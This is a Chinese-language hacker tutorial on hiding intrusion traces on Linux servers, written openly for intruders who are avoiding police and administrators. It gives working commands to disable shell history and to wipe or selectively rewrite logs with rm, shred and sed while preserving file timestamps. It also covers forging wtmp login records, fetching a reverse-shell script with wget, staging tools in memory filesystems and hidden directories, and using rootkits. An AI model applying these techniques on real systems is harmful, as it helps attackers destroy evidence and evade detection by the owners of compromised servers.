

Linux 入侵踪迹隐藏攻略v0.1

For All [D.S.T] guys

Written by x4oyu

E-mail: evil.xi4oyu@gmail.com

免责声明:

本文仅用于教学目的, 如果因为本文造成的攻击后果本人概不负责, 转载请保留。

0. 前言:

被警察叔叔请去喝茶时间很痛苦的事情, 各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深, 是我们必须掌握的基本功。当然, 如果管理员真的想搞你而他的功力又足够足的话, 相信没什么人能够真正的“踏雪无痕”。Forensic 与 Anti-Forensic, 说到底只是你和管理员之间的技术间较量而已。貌似很少有专门说这个的文章, 大部分就是下载个日志擦除的软件, 然后运行下就可以了, 对小站可以, 但对方如果是经验丰富的管理员呢? 我们该如何应对? 我在这里只介绍 unix-like system 下的, 至于 windows 或者其他什么系统下的, 欢迎各位道友补充。

1. 最小化你的日志

P.S 访问目标前用跳板我就不废话了, 你是 VPN 也好 3389 也罢, ssh 中转, 代理都行。总之记住一点——**直接连接攻击目标是愚蠢的**

1.1 shell 使用问题

目前 linux 下大多数的 shell 都是采用 bash 或者其他的什么 shell 通过输入输出重定向来实现与服务器的交互的, 当我们使用 ssh 或者 telnet 之类的登录的时候, 我们的命令都会被记录在 shell 的 history 文件下面。举例来说 bash 会在当前目录下面 .bash_history 文件里记录下你此次登陆操作的命令, 如果你拿这台机器当跳板的话, 或者扫描其他机器, 你的命令都会被记录下来哦。呵呵, 所以我们登录的第一件事就是执行如下命令:

```
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
```

当然不同的 shell 写法可能不同, 像有的 set 设置环境变量什么的。大家根据自己的 shell 自行修改。记住: 从 webserv 弹回的 shell 也会记录你的操作, 值得庆幸的是现在很多弹 shell 的脚本都预先 unset 环境变量。

我们还需要记住的是在登录的时候出现在登录窗口的一些信息, 比如该用户在什么时候从哪个 IP 登录进来的等等, 这在我们后面的用于日志清除与修改的时候要用到。

如图:

```
Last login: Wed Apr 16 18:56:18 2008 from 192.168.44.1
[root@localhost ~]#
```

作为跳板的时候, 我们有可能需要用本机的 ssh 去访问别的机器, 但是别的机器的公钥呢? 总不能放在当前用户的目录下吧? 当然你可以事后删除, 但多一事不如少一事, 你说对么?

```
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i
```

就可以了, 但在这样运行某些命令的时候可能会有提示, 说你的 stdin 不是个 terminal, 这里可以这样解决:

```
python -c 'import pty; pty.spawn("/bin/sh")' 或者自己再建立个 ttshell。
```

1.2 webshell 的选择问题

可能各位道友的日常生活中最主要目标瞄向了 webserver。现在的 web 也是大多数入侵的一个突破口。Linux 下用的最多的就是 apache 服务器了，当我们发觉一个服务器的漏洞时候很可能要上传一个 webshell 来进行对服务器文件进一步的操作和信息的搜集，部分 webshell 也提供了反弹 shell 的功能。如何能够在 apache 服务器的日志文件中留下最小的记录也是需要深究的。这种情况通常发生在没能够获得足够的权限来清除 apache 日志。如果能够 root 了，则可以将重点放在第二节日志清除上。通常，日志只记录 GET 的信息，比如你的注入，你采用了那种方式提交数据等等。如果我们的 webshell 采用的多是 GET 方式交互的话，就很容易在 httpd 的 access_log 中留下很多日志。这些以后都会被作为证据所采纳的。Phpspy 是个很好的选择，作者也注意掉了这点，取消了 GET 方式的交互，再给 webshell 起一个比较迷惑的名字，这样我们与 webshell 的交流就更加隐秘。

2. 日志的清除与改写

日志清除与改写，俗称擦 PP，这是个很重要的过程，日志记录了你对目标机器的操作记录，大部分的入侵者查找都是通过日志来确定的，因此，我们需要对日志文件进行操作。对日志操作有这么个说法，能修改的就不清除，这样才能最小的减少管理员的怀疑。Linux 下的大多数文件是以文本方式，或者以简单的结构体方式存入文件的，这就为我们修改某个日志记录里的具体内容提供了前提条件。

需要注意的一点是，我们需要先看看日志的存放位置，有的管理员会修改日志保存的位置，一般来说，我们可以查看/etc/syslog.conf 来获得 log 文件存放的位置。但要注意的是，有的管理员(及其负责)会重新编译 syslogd 文件来重新指定 log 存放的位置，怎么办？在这种情况下可以用 strings 来看下/sbin/syslogd 这个文件，这种管理员我只在书里看到过，至少我没遇到过:P。这个配置文件里面记录了系统存放某些 log 的目录，如 secure 文件等。下面我们会根据这个文件来清理和修改日志。

现在可以在网上公开获得的日志清除程序代码很粗糙，我曾经看到过最夸张的清日志的代码像这样：

```
rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ;
rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logout ; rm -rf
/var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ;
rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ;
rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf
/var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ;
rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf
/var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf
/etc/httpd/logs/error_log ; rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf
/var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf
/usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ;
rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch
/root/.bash_history ; history -r
```

整个一 rm 集合，要是服务器跑了很长时间，积累了很多日志。你这样一删除，的，你帮他省事了，他也省事，一眼就看出有人进来了。

先不说其他，用 `rm` 删除就不可取，正确的删除文件做法是用 `shred`

```
shred -n 31337 -z -u file_to_delete
```

这样多次擦除才够安全。呵呵

下面具体的针对日志文件进行分析。

`W` 命令提供了管理员查看当前登录帐户的功能，所以与管理员同台共演是件很危险的事情，能不做就不做，但也有人曾经上演过 `local exp` 后，装上 `tty` 然后 `T` 管理员下线截获登录密码的好戏。呵呵，如何让 `w` 不显示你登录了呢？

用 `rootkit` 我就不废话了，这里有个小窍门，即使是普通用户登录管理员也不能看见：

在跳板上登录目标 `ssh -T somebody@1.1.1.1 /bin/bash -i` 你可以试试，很好用哦。

OK，言归正传

首先第一个概念是 `timestamp`，也就是你用 `ls -l` 看到的東西，我們在修改一個 `LOG` 文件之前或者留后门之后都得留心下这个时间，有很多管理员喜欢通过 `timestamp` 来查找入侵者留下的东西。记住以下命令

`touch -r` 具有你希望改成的时间的文件 你要改变的文件 它能够使得两个文件的 `timestamp` 保持一致。

在你修改日志之前，你可以在 `/dev/shm` 下面建立一个临时文件，并将 `log` 的 `timestamp` 保存下俩，然后再 `touch` 回去。为什么要用 `/dev/shm` 目录在第三节会有说明。当然我们也可以程序实现，不过有的时候我们会碰到没有见过的日志类型，所以有时候需要手工改写日志。除了时间之外，还需要注意文件的其他属性，比如所有者或是否有粘滞位等等。这些都需要注意。

`Linux` 的日志散落在系统各处，同时系统管理员也能够灵活的制定日志保存的位置，这就要求我们非常小心，采用通用的日志移除或改写工具是很不明智的，为此我们要对需要修改的日志系统有个全面的了解。具体的内容请参看文章《`Linux` 服务器日志管理详解》。

这里提供个工具

<http://lists.darklab.org/pipermail/darklab/2006-May/000234.html>

怎么使用自己去看看吧。我个人还是倾向于某个日志用某个特定的清除或修改器，这样灵活性更大点。

我们也可以使用 `sed` 命令行工具来清除某些日志，通常会这样修改 `web` 日志：

```
touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed '192\.168\.44\.1/d' access_log > /dev/shm/backlog ; cat /dev/shm/backlog > access_log; touch -r /dev/shm/timestamp ./access_log ;shred -n 255 -z -u /dev/shm/timestamp;
```

这里 `192.168.44.1` 是我跳板的 IP。

具体的 `log` 修改和擦除工具，各位道长就从网上下个现成的自己改改吧，呵呵，我就不在这献丑了。

还有一点，我们要将 `wtmp` 文件中的登录日志修改成原来管理员登陆的 IP 和时间 也就是第一节中记下的时间与 IP。如果实在得不到 `root` 权限，我们也可以 `ssh localhost` 一下来隐藏登录 IP。

3. 工具与数据的隐藏

3.1 工具与数据的临时存放

当我们需要在服务器上留下某些程序的时候，比如 sniff 软件，或者作为跳板攻击其他服务器的时候，我们不得不面对着一个痛苦的抉择：既要能够留下足够的工具来完成必要的任务，又要尽可能少的对文件系统乃至对磁盘的数据的改写。在这种情况下，如果所要保存的数据只是临时的，我们就需要在内存中建立起文件系统。这样，当系统再重启后我们曾经在磁盘上保留的信息就会被擦除，因为它没有被真正的写到磁盘上面去。

（注意：通常我们只用这种方法来保存暂时用的程序、代码等工具，如果要长久保存的不推荐此种方法）

为此，我们需要建立 ramfs, 它是一个在内存中存在的文件系统。具体的介绍请各位道友自行查找相关文档查看。建立 ramfs 很简单，不过需要有 root 权限。代码如下：

```
mount -t ramfs ramfs /usr/tmp
```

这样/usr/tmp 目录就被挂载为一个内存文件系统。当然，在实际过程中我们可能要找一一个隐藏比较深的不用了的目录来做为挂载点。

那在我们没有 root 的情况下呢？有时候，我们可能会遇到某个 webserver 的 php 代码有个 remote execution 的漏洞，在 webserver 的目录下不可写的时候，我们可能会用到 wget 来下载一个回连的 shell 到一个都可以写的目录，比如/tmp

通常我们会这样做：

```
Wget http://xxxx/backshell.pl -P /tmp
```

但是否想过/tmp 或许只是一个普通的 ext3 或者 reifns 文件系统，最多充其量是个 tmpfs, 这些文件系统有个特点就是会与磁盘交互。那我们应该选择什么目录来保存我们的代码呢？在现代的 linux 操作系统中，默认挂载了/dev/shm 目录其类型就是 ramfs, 作为系统共享用。我们就可以利用它来完成保存 shell 的目的。

3.2 工具与数据的长期存放

目录的隐藏是个很高深的学问，在最开始的阶段，我们通常是在一个很深的目录里面建立名为”...” 或者” ” 等的目录，然后把工具一股脑的放进去，这招在对付不负责任的管理人员的时候很管用，但是遇到负责人的管理人员一个 find 语句就能把你找出来：

```
# find / -uid 0 -perm -4000 -print
# find / -size +10000k -print
# find / -name “...” -print
# find / -name “.. ” -print
# find / -name “. ” -print
# find / -name “ ” -print
```

留 setuid 的程序也是个大的忌讳，这样很容易引起管理人员的怀疑。特别是这个 setuid 程序存在莫名其妙的目录下的时候。

在大多数情况下，我们可以借助 rootkit 来帮助你完成这个功能。

我简单的介绍下，像 linux 下的 rootkit, 总体来说可以分为两大类：应用层和内核态的 rootkit。

应用层的 rootkit 通常通过修改某些文件来实现信息隐藏，比如修改 ls 让其不显示某个特殊名称文件夹，修改 ifconfig 让其不显示 PROMISC 位 还有的是通过修改 so 文件来留后门等等。如果管理员安装了 tripwire 之类的完整性校验工具各位道友就要小心了，不过一般的管理人员也没那么负责。这些低级的 rootkit 很容易给 chkrootkit 之类的工具给揪出来，要真正用的话最好自己能下载源代码重新编译下，修改掉配置文

件的默认位置，这样好点。

内核级别的 rootkit:顾名思义，进入 ring0 级别来 HOOK 掉某些系统调用或者其他什么乱起八糟的方法来改掉系统调用的执行输出（当然也 ring3 patch ring0 也有，像 suckit）。这种东西很诡异，能够真正成功装上的几率不大，关键看人品，呵呵。进入了 2.6 时代，很多美好的 rootkit 都失去了光彩。加之 2.6 的模块编译要内核树的支持，更使得 LKM 方式的 rootkit 举步维艰。据 wzt 讲，suckit 也有 2.6 版本的，不过是 private 的要 money。偶等穷人也只有干看到份了。

2.6 的 rootkit 安装可以看看包总的 adore-ng 教程 wnps 也不错，不过 wzt 这 BB 也停止开发了。还有什么内核静态 patch 等方法，也只是在 phrack 里面看到过，各位道友用过的给我介绍下啊，呵呵。

扯远了，关于如何隐藏文件，当然你也可以采用伪造坏扇区的方法，将你的东西放在那里，一般的文件系统算是看不出来了。你可以用特殊的工具对其进行存储。这个再以后的 advance anti-forensic 文章中会讲，不再多说。

4. 如何安装和编译工具

可能 linux 与 windows 对于用户来说，最大的不同就是 linux 从网上下载的大多数都是 src 源代码包，要使用的话需要在机器上现场编译，好不容易有编译好的发行包如 rpm deb 还是和系统相关的 依赖性啊，等等，烦都烦死人了。像要装个 ettercap,什么 l i b n e t libpcap 都得装上，但有时候我们的目标机器上没有所需要的依赖文件，这怎么办呢？不推荐使用 rpm dpkg 等方式来安装需要的文件，也不推荐 apt yum 源等方式安装，从源代码编译把，这样比较好点。

我们把下载的源代码放到自己的隐藏目录里，在 configure 的时候需要指定 prefix 安装路径，总不能把这些包真正的装到系统里面把，指定成我们的隐藏目录就好，这样一来，管理员也不会发现怎么系统安装了许多原本没有支持的库文件或者头文件了。

最后一步，当编译我们的工具时，需要指定所依赖的头文件目录和库文件目录，不要执行 make install 命令，这样一来，我们的工具就可以完全在我们的隐藏目录里面了。

关于 perl 的模块安装，可以参看这边文章：

<http://servers.digitaldaze.com/extensions/perl/modules.html>

先写这么多吧，呵呵，有想到的再加上。后头还会写篇 Advance anti-forensic 的文章。可能有的道友会说我太小心。小心好啊，小心使得万年船，不是么？呵呵